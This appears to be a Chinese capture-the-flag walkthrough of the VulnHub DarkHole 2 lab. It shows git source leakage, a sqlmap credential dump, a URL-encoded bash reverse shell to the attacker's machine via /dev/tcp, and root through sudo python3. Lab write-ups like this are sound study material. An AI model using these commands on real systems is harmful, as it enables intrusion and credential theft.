做品牌文化的网站/贵州萝岗seo整站优化
https://www.vulnhub.com/entry/darkhole-2,740/
端口扫描主机发现
-
探测存活主机,
185
是靶机# nmap -sP 192.168.75.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 18:02 CST Nmap scan report for 192.168.75.1 Host is up (0.00036s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.75.2 Host is up (0.00030s latency). MAC Address: 00:50:56:FB:CA:45 (VMware) Nmap scan report for 192.168.75.185 Host is up (0.00028s latency). MAC Address: 00:0C:29:1E:D3:AD (VMware) Nmap scan report for 192.168.75.254 Host is up (0.00033s latency). MAC Address: 00:50:56:FE:CA:7A (VMware) Nmap scan report for 192.168.75.151
-
探测主机所有开放端口
nmap -sT -min-rate 10000 -p- 192.168.75.185 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 18:03 CST Nmap scan report for 192.168.75.185 Host is up (0.00040s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:1E:D3:AD (VMware)
-
探测服务版本以及系统版本
nmap -sV -sT -O -p 80,22 192.168.75.185 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 18:04 CST Nmap scan report for 192.168.75.185 Host is up (0.00067s latency).PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) MAC Address: 00:0C:29:1E:D3:AD (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
-
扫描漏洞
nmap -script=vuln -p 80,22 192.168.75.185 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 18:05 CST Nmap scan report for 192.168.75.185 Host is up (0.00078s latency).PORT STATE SERVICE 22/tcp open ssh 80/tcp open http | http-git: | 192.168.75.185:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: i changed login.php file for more secure |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.75.185 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.75.185:80/login.php | Form id: email |_ Form action: | http-cookie-flags: | /: | PHPSESSID: | httponly flag not set | /login.php: | PHPSESSID: |_ httponly flag not set |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: | /login.php: Possible admin folder | /.git/HEAD: Git folder | /config/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' | /js/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' |_ /style/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
找到
.git
,可能存在源码泄露
web渗透
-
访问主页,存在登陆页面连接
-
扫描目录
dirsearch -u http://192.168.75.185 -x 403,404 // [18:11:11] 301 - 313B - /js -> http://192.168.75.185/js/ [18:11:13] 301 - 315B - /.git -> http://192.168.75.185/.git/ [18:11:13] 200 - 600B - /.git/ [18:11:13] 200 - 41B - /.git/COMMIT_EDITMSG [18:11:13] 200 - 73B - /.git/description [18:11:13] 200 - 23B - /.git/HEAD [18:11:13] 200 - 674B - /.git/hooks/ [18:11:13] 200 - 130B - /.git/config [18:11:13] 200 - 1KB - /.git/index [18:11:13] 200 - 460B - /.git/info/ [18:11:13] 200 - 240B - /.git/info/exclude [18:11:13] 200 - 485B - /.git/logs/ [18:11:13] 200 - 554B - /.git/logs/HEAD [18:11:13] 301 - 331B - /.git/logs/refs/heads -> http://192.168.75.185/.git/logs/refs/heads/ [18:11:13] 200 - 554B - /.git/logs/refs/heads/master [18:11:13] 200 - 669B - /.git/objects/ [18:11:13] 301 - 325B - /.git/logs/refs -> http://192.168.75.185/.git/logs/refs/ [18:11:13] 200 - 41B - /.git/refs/heads/master [18:11:13] 301 - 326B - /.git/refs/heads -> http://192.168.75.185/.git/refs/heads/ [18:11:13] 301 - 325B - /.git/refs/tags -> http://192.168.75.185/.git/refs/tags/ [18:11:13] 200 - 465B - /.git/refs/ [18:11:13] 200 - 510B - /.idea/ [18:11:13] 301 - 316B - /.idea -> http://192.168.75.185/.idea/ [18:11:14] 200 - 192B - /.idea/modules.xml [18:11:14] 200 - 926B - /.idea/workspace.xml [18:11:32] 301 - 317B - /config -> http://192.168.75.185/config/ [18:11:33] 200 - 457B - /config/ [18:11:34] 200 - 11B - /dashboard.php [18:11:43] 200 - 456B - /js/ [18:11:45] 200 - 484B - /login.php [18:11:46] 302 - 0B - /logout.php -> index.php [18:12:03] 301 - 316B - /style -> http://192.168.75.185/style/
- 清一色的
.git
可以尝试有没有.git
源码泄露 config/
应该是配置文件
- 清一色的
-
测试是否存在源码泄露
https://www.freebuf.com/articles/web/346607.html
因为我们找到了
.git
,所以我们要针对git
-
访问
/.git/config
存在该目录,存在源码泄露漏洞[core]repositoryformatversion = 0filemode = falsebare = falselogallrefupdates = truesymlinks = falseignorecase = true
-
使用工具
git-dumper
https://github.com/arthaud/git-dumper
使用
pip install git-dumper
安装git-dumper http://192.168.75.185/.git/ ./185
将所有源码文件下载下来了,下载到当前目录的
185
文件夹里ls -al ./185 // drwxr-xr-x 7 root root 4096 11月 9日 01:25 . drwxr-xr-x 4 root root 4096 11月 9日 01:41 .. drwxr-xr-x 2 root root 4096 11月 9日 01:25 config -rw-r--r-- 1 root root 5578 11月 9日 01:25 dashboard.php drwxr-xr-x 7 root root 4096 11月 9日 01:25 .git drwxr-xr-x 2 root root 4096 11月 9日 01:25 .idea -rw-r--r-- 1 root root 1094 11月 9日 01:25 index.php drwxr-xr-x 2 root root 4096 11月 9日 01:25 js -rw-r--r-- 1 root root 1493 11月 9日 01:25 login.php -rw-r--r-- 1 root root 179 11月 9日 01:25 logout.php drwxr-xr-x 2 root root 4096 11月 9日 01:25 style
-
代码审计
上面已将源码文件下载了,现在开始要代码审计
-
config.php
文件,是数据库配置文件,用户名为root
但是密码为空
<?php $connect = new mysqli("localhost","root","","darkhole_2");
-
login.php
<?php session_start(); require 'config/config.php'; if($_SERVER['REQUEST_METHOD'] == 'POST'){ $email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email'])); $pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password'])); $check = $connect->query("select * from users where email='$email' and password='$pass' and id=1"); if($check->num_rows){$_SESSION['userid'] = 1;header("location:dashboard.php");die();} } ?>
应该是可以绕过的?但是我没有成功
-
进入
185
文件夹查看日志(因为文件夹还留着.git
,所以可以使用git
命令)git log // commit 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 (HEAD -> master) Author: Jehad Alqurashi <anmar-v7@hotmail.com> Date: Mon Aug 30 13:14:32 2021 +0300i changed login.php file for more securecommit a4d900a8d85e8938d3601f3cef113ee293028e10 Author: Jehad Alqurashi <anmar-v7@hotmail.com> Date: Mon Aug 30 13:06:20 2021 +0300I added login.php file with default credentialscommit aa2a5f3aa15bb402f2b90a07d86af57436d64917 Author: Jehad Alqurashi <anmar-v7@hotmail.com> Date: Mon Aug 30 13:02:44 2021 +0300
出现三次提交以及作者时间等
-
对比三次提交
git diff
#获得当前目录上次提交和本地索引的差距,也就是你在什么地方修改了代码.# git diff 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 # git diff a4d900a8d85e8938d3601f3cef113ee293028e10diff --git a/login.php b/login.php index 8a0ff67..0904b19 100644 --- a/login.php +++ b/login.php @@ -2,7 +2,10 @@session_start();require 'config/config.php';if($_SERVER['REQUEST_METHOD'] == 'POST'){ - if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){ + $email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email'])); + $pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password'])); + $check = $connect->query("select * from users where email='$email' and password='$pass' and id=1"); + if($check->num_rows){$_SESSION['userid'] = 1;header("location:dashboard.php");die();
可以看到
- if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321")
出现了邮箱以及密码,可以尝试登陆后台
-
使用的得到账号密码登录后台,成功进入
利用后台
-
使用的得到账号密码登录后台,成功进入后台
-
url
是/dashboard.php?id=1
,像是存在sql
注入,可以尝试下/dashboard.php?id=1' # 页面空白 /dashboard.php?id=1'--+ # 成功闭合,存在注入
就不使用手工注入了,直接上
sqlmap
,记得要想拿到cookie
,不然没有登陆状态sqlmap -u http://192.168.75.185/dashboard.php?id=1 --cookie PHPSESSID=n22sg8e16sjbgs2c7g7kffofmf -batch
爆出两张表
users
以及ssh
,ssh
应该是能使用ssh
登录的用户,两张表的数据我们都dump
下# users +----+----------------+-------------------------------------------+----------+-----------------------------+----------------+ | id | email | address | password | username | contact_number | +----+----------------+-------------------------------------------+----------+-----------------------------+----------------+ | 1 | lush@admin.com | Street, Pincode, Province/State, Country | 321 | Jehad Alqurashiasddasdasdas | 1 | +----+----------------+-------------------------------------------+----------+-----------------------------+----------------+ # ssh +----+------+--------+ | id | pass | user | +----+------+--------+ | 1 | fool | jehad | +----+------+--------+
-
我们拿
ssh
表的用户去登陆下
提权 - jehad用户
-
我们拿
ssh
表的用户去登陆下ssh jehad@192.168.75.185 jehad@darkhole:~$
获得
shell
!!! -
查看权限
jehad@darkhole:~$ whoami jehad jehad@darkhole:~$ id uid=1001(jehad) gid=1001(jehad) groups=1001(jehad) jehad@darkhole:~$ uname -a Linux darkhole 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
-
寻找敏感文件
-
/home/losy
目录下存在user.txt
是flag
文件ehad@darkhole:/home/losy$ cat user.txt DarkHole{'This_is_the_life_man_better_than_a_cruise'}
-
寻找SUID文件
jehad@darkhole:/home/losy$ find / -perm -u=s -type f 2>/dev/null 02:06:46 [3/65] /usr/bin/sudo /usr/bin/passwd /usr/bin/chfn /usr/bin/chsh /usr/bin/fusermount /usr/bin/gpasswd /usr/bin/pkexec /usr/bin/newgrp /usr/bin/umount /usr/bin/mount /usr/bin/su /usr/bin/at /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device /usr/lib/snapd/snap-confine
想尝试
snapd
提权的,但是版本对不上
-
-
查看
bash
历史记录jehad@darkhole:~$ cat .bash_history
发现执行了很多
curl "http://127.0.0.1:9999/?cmd=<命令>"
之类的,估计9999
端口下是一个能进行RCE
的页面 -
我们也尝试执行下
-
先试试
id
,发现是losy
的权限jehad@darkhole:~$ curl http://127.0.0.1:9999/?cmd=id Parameter GET['cmd']uid=1002(losy) gid=1002(losy) groups=1002(losy)
-
-
获得
losy
用户的权限-
跟着反弹shell命令
因为靶机的
nc
没有-e
参数,只能通过其他方式来反弹shell
# 通过shell bash -c 'bash -i >& /dev/tcp/192.168.75.151/1234 0>&1'
-
将其进行URl编码
bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.75.151%2f1234+0%3e%261%27
-
构建命令
curl "http://127.0.0.1:9999/?cmd=bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.75.151%2f1234+0%3e%261%27"
-
kali
开启监听,执行命令nc -lvp 1234 listening on [any] 1234 ... 192.168.75.185: inverse host lookup failed: Unknown host connect to [192.168.75.151] from (UNKNOWN) [192.168.75.185] 33342 bash: cannot set terminal process group (1215): Inappropriate ioctl for device bash: no job control in this shell losy@darkhole:/opt/web$
获得
losy
的shell
!!!
-
提权 - losy用户
-
和之前一样,我们先查看
bash
历史记录可以找到
losy
的密码为gang
-
进行
ssh
登录,能过得交互性更好的shell
-
查看权限
-
SUDO
,可以以root权限执行python3
,可以提权了```python losy@darkhole:~$ sudo -l [sudo] password for losy: Matching Defaults entries for losy on darkhole:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser losy may run the following commands on darkhole:(root) /usr/bin/python3
-
-
使用
python3
提权,使用python
生成虚拟终端即可losy@darkhole:~$ sudo /usr/bin/python3 -c "import pty;pty.spawn('/bin/sh')" # whoami root
获得
root
!!!! -
读取
flag
文件# cat root.txt DarkHole{'Legend'}
总结
.git
的使用,以及git diff
;以及bash_history
也可能存在敏感内容;
相关文章:

[vulnhub] DarkHole: 2
https://www.vulnhub.com/entry/darkhole-2,740/ 端口扫描主机发现 探测存活主机,185是靶机 # nmap -sP 192.168.75.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 18:02 CST Nmap scan report for 192.168.75.1 Host is up (0.…...

《XGBoost算法的原理推导》12-2 t轮迭代中对样本i的预测值 公式解析
本文是将文章《XGBoost算法的原理推导》中的公式单独拿出来做一个详细的解析,便于初学者更好的理解。 好的,公式(12-2)表示的是 XGBoost 在第 t t t 轮迭代中对样本 i i i 的预测值。它说明了在第 t t t 轮迭代中,模型的预测是通过累加之前…...

./bin/mindieservice_daemon启动成功
接MindIE大模型测试及报错Fatal Python error: PyThreadState_Get: the function must be called with the GIL held,-CSDN博客经过调整如下红色部分参数,昇腾310P3跑起来了7b模型: rootdev-8242526b-01f2-4a54-b89d-f6d9c57c692d-qjhpf:/home/apulis-de…...

Linux: network: ip link M-DOWN的具体含义是什么?
文章目录 参考简介实例代码解释openstack上的显示如果是在一个interface上建立了vlan参考 https://unix.stackexchange.com/questions/348327/using-ip-what-does-m-down-mean www.policyrouting.org/iproute2.doc.html#ss9.1 简介 是指上一级的接口的状态。 实例 4: ersp…...

Spring中的过滤器和拦截器
Spring中的过滤器和拦截器 一、引言 在Spring框架中,过滤器(Filter)和拦截器(Interceptor)是实现请求处理的两种重要机制。它们都基于AOP(面向切面编程)思想,用于在请求的生命周期…...

leetcode20.括号匹配
题目描述 给定一个只包括 ‘(’,‘)’,‘{’,‘}’,‘[’,‘]’ 的字符串 s ,判断字符串是否有效。 有效字符串需满足: 左括号必须用相同类型的右括号闭合。 左括号必须以正确的顺序闭合。 每个…...

Unity性能优化-具体操作
批量渲染是通过减少CPU向GPU发送渲染命令(DrawCall)的次数,以及减少GPU切换渲染状态的次数,尽量让GPU一次多做一些事情,来提升逻辑线和渲染线的整体效率。 Draw Call性能消耗原因是命令从Runtime到Driver的过程中&…...

【嵌入式开发——ARM】1ARM架构
嵌入式领域,使用ARM架构的芯片公司可不占少数吧,intel的x86架构主要占据PC、服务器市场,ARM架构主要占据移动市场。x86架构和ARM架构不同的主要原因,是背后使用的计算机指令集不同。计算机有自己的语言系统(汇编&#…...

Linux中.NET读取excel组件,不会出现The type initializer for ‘Gdip‘ threw an exception异常
组件,可通过nuget安装,直接搜名字: ExcelDataReader using ConsoleAppReadFileData.Model; using ExcelDataReader; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Task…...

mmclassification的配置文件样本
# 需要修改的参数 img_size 480 class_name [fuqi,ok] num_classes len(class_name) data_root /home/apulis-test/teamdata/yz_dataset/fuqi max_epochs300 val_interval1 train_batch_size 16 val_batch_size 1 load_from "swin_tiny_224_b16x64_300e_imagenet_…...

Java基础——类和对象的定义链表的创建,输出
目录 什么是类? 什么是对象? 如何创建链表? 尾插法: 头插法: 输出链表的长度 输出链表的值 什么是类? 创建Java程序必须创建一个类class. .java程序需要经过javac指令将文件翻译为.class字节码文件,…...

Linux应用项目之量产工具(一)——显示系统
目录 前言 项目特点及介绍 ① 简单易用 ② 软件可配置、易扩展 ③ 纯 C 语言编程 软件总框架 显示系统 1.数据结构抽象 disp_manager.h 2.Framebuffer编程 framebuffer.c 3.显示管理 disp_manager.c 4.单元测试 disp_test.c 顶层目录Makefile 顶层目录Makefil…...

Python小白学习教程从入门到入坑------第二十九课 访问模式(语法进阶)
目录 一、访问模式 1.1 r 1.2 w 1.3 1.3.1 r 1.3.2 w 1.3.3 a 1.4 a 一、访问模式 模式可做操作若文件不存在是否覆盖r只能读报错-r可读可写报错是w只能写创建是w可读可写创建是a只能写创建否,追加写a可读可写创建否,追加写 1.1 r r&…...

使用 PageHelper 在 Spring Boot 项目中实现分页查询
目录 前言1. 项目环境配置1.1 添加 PageHelper 依赖1.2 数据库和 MyBatis 配置 2. 统一的分页响应类3. 使用 PageHelper 实现分页查询3.1 Service 层分页查询实现3.2 PageHelper 分页注意事项 4. 控制层调用示例5. 常见问题与解决方案5.1 java.util.ArrayList cannot be cast t…...

深度学习-张量相关
一. 张量的创建 张量简介 张量是pytorch的基本数据结构 张量,英文为Tensor,是机器学习的基本构建模块,是以数字方式表示数据的形式。 例如,图像可以表示为形状为 [3, 224, 224] 的张量,这意味着 [colour_channels, h…...

电脑提示xinput1_3.dll丢失怎么解决,分享6种有效的解决方法
xinput1_3.dll 是一个动态链接库(DLL)文件,它在Windows操作系统中扮演着重要的角色,特别是在处理游戏控制器和其他输入设备的交互方面。这个文件是Microsoft DirectX软件包的一部分,DirectX是微软公司开发的一个多媒体…...

【计网】数据链路层笔记
【计网】数据链路层 数据链路层概述 数据链路层在网络体系结构中所处的地位 链路、数据链路和帧 链路(Link)是指从一个节点到相邻节点的一段物理线路(有线或无线),而中间没有任何其他的交换节点。 数据链路(Data Link)是基于链路的。当在一条链路上传送数据时&a…...

蓝牙FTP 协议详解及 Android 实现
文章目录 前言一、什么是蓝牙 FTP 协议?二、FTP 的工作流程1.蓝牙设备初始化2. 设备发现与配对3. 建立OBEX FTP 连接4. 文件传输文件上传(通过OBEX PUT命令)文件下载(通过OBEX GET命令) 5. 关闭OBEX会话 三、进阶应用与…...

【前端】Svelte:动画效果
在现代前端开发中,动画效果可以大大提升用户体验,使应用更生动、易用。Svelte 提供了灵活的动画 API,让开发者能够快速实现从简单过渡到复杂动画的各种效果。本文将系统性地介绍 Svelte 的动画功能,并通过多个示例演示如何创建动感…...

2024系统架构师--论基于架构的软件设计方法(ABSD)及应用(论文范文)
题目: 基于架构的软件设计(Architecture-Based Software Design,ABSD)方法以构成软件架构的商业、质量和功能需求等要素来驱动整个软件开发过程。ABSD是一个自顶向下,递归细化的软件开发方法,它以软件系统功能的分解为基础,通过选择架构风格实现质量和商业需求,并强调在架…...

ORU 的 Open RAN 管理平面 (M 平面)
[TOC](ORU 的 Open RAN 管理平面 (M 平面)) ORU 的 Open RAN 管理平面 (M 平面) https://www.techplayon.com/open-ran-management-plane-m-plane-for-open-radio-unit/ ORU M 平面 在 ORAN 中,设置参数的 O-RU 管理功能是通过 M-Plane 完成的。管理功能包括 O-…...

软件缺陷等级评定综述
1. 前言 正确评估软件缺陷等级,在项目的生命周期中有着重要的作用: 指导缺陷修复的优先级和资源分配 在软件开发和维护过程中,资源(包括人力、时间和资金)是有限的。通过明确缺陷的危险等级,可以帮助团队合…...

Nuxt.js 应用中的 schema:extend事件钩子详解
title: Nuxt.js 应用中的 schema:extend事件钩子详解 date: 2024/11/10 updated: 2024/11/10 author: cmdragon excerpt: schema:extend 钩子使开发者能够扩展默认数据模式,为特定业务需求添加自定义字段和验证。 categories: 前端开发tags: Nuxt钩子数据扩展自定义验证应…...

自然语言处理在客户服务中的应用
💓 博客主页:瑕疵的CSDN主页 📝 Gitee主页:瑕疵的gitee主页 ⏩ 文章专栏:《热点资讯》 自然语言处理在客户服务中的应用 自然语言处理在客户服务中的应用 自然语言处理在客户服务中的应用 引言 自然语言处理概述 定义…...

OpenCoder:首个完全开源的顶级代码大模型,训练秘籍全公开!| LLM×MapReduce,无需训练就超越GPT-4!
大模型领域的发展日新月异,每天都有许多有趣的论文值得深入品读。下面是本期觉得比较有意思的论文: 1、OpenCoder:首个完全开源的顶级代码大模型,训练秘籍全公开!2、超长文本处理新突破!LLMMapReduce&…...

springboot静态资源映射不生效问题
最近有个同事问我,静态资源映射不生效的问题,很正常我想不就是配置下资源路径就可以了吗?类似配置如下代码 Configuration public class CorsConfig implements WebMvcConfigurer {Overridepublic void addResourceHandlers(ResourceHandlerR…...

通过 SSH 隧道将本地端口转发到远程主机
由于服务器防火墙,只开放了22端口,想要通过5901访问服务器上的远程桌面,可以通过下面的方式进行隧道转发。 一、示例命令 这条代码的作用是通过 SSH 创建一个 本地端口转发,将你本地的端口(5901)通过加密的 SSH 隧道连接到远程服务器上的端口(5901)。这种方式通常用于在…...

【北京迅为】itop-3588开发板摄像头使用手册Android12 双摄方案
本章节对应资料在网盘资料“iTOP-3588 开发板\02_【iTOP-RK3588 开发板】开发资料 \07_Android 系统开发配套资料\08_Android12 摄像头使用配套资料”目录下下载。 2.1 Android12 前摄后摄 网盘中默认的 Android12 源码支持四个摄像头单独打开,本小节我们来修改源码…...

初见Linux:基础开发工具
前言: 这篇文章我们将讲述Linux的基本开发工具,以及讨论Linux的生态圈,最后再了解vim开发工具。 Yum: YUM(Yellowdog Updater Modified)是一个在Linux系统中用于管理软件包的工具,特别是在基于…...

微服务架构面试内容整理-分布式配置管理-Nacos Config
Nacos Config 是 Nacos 提供的一个配置管理功能,专门用于动态管理应用的配置。在微服务架构中,Nacos Config 允许开发者集中管理和动态更新各个服务的配置,从而提升系统的灵活性和可维护性。以下是 Nacos Config 的主要特点、工作原理和使用场景: 主要特点 1. 动态配置管理…...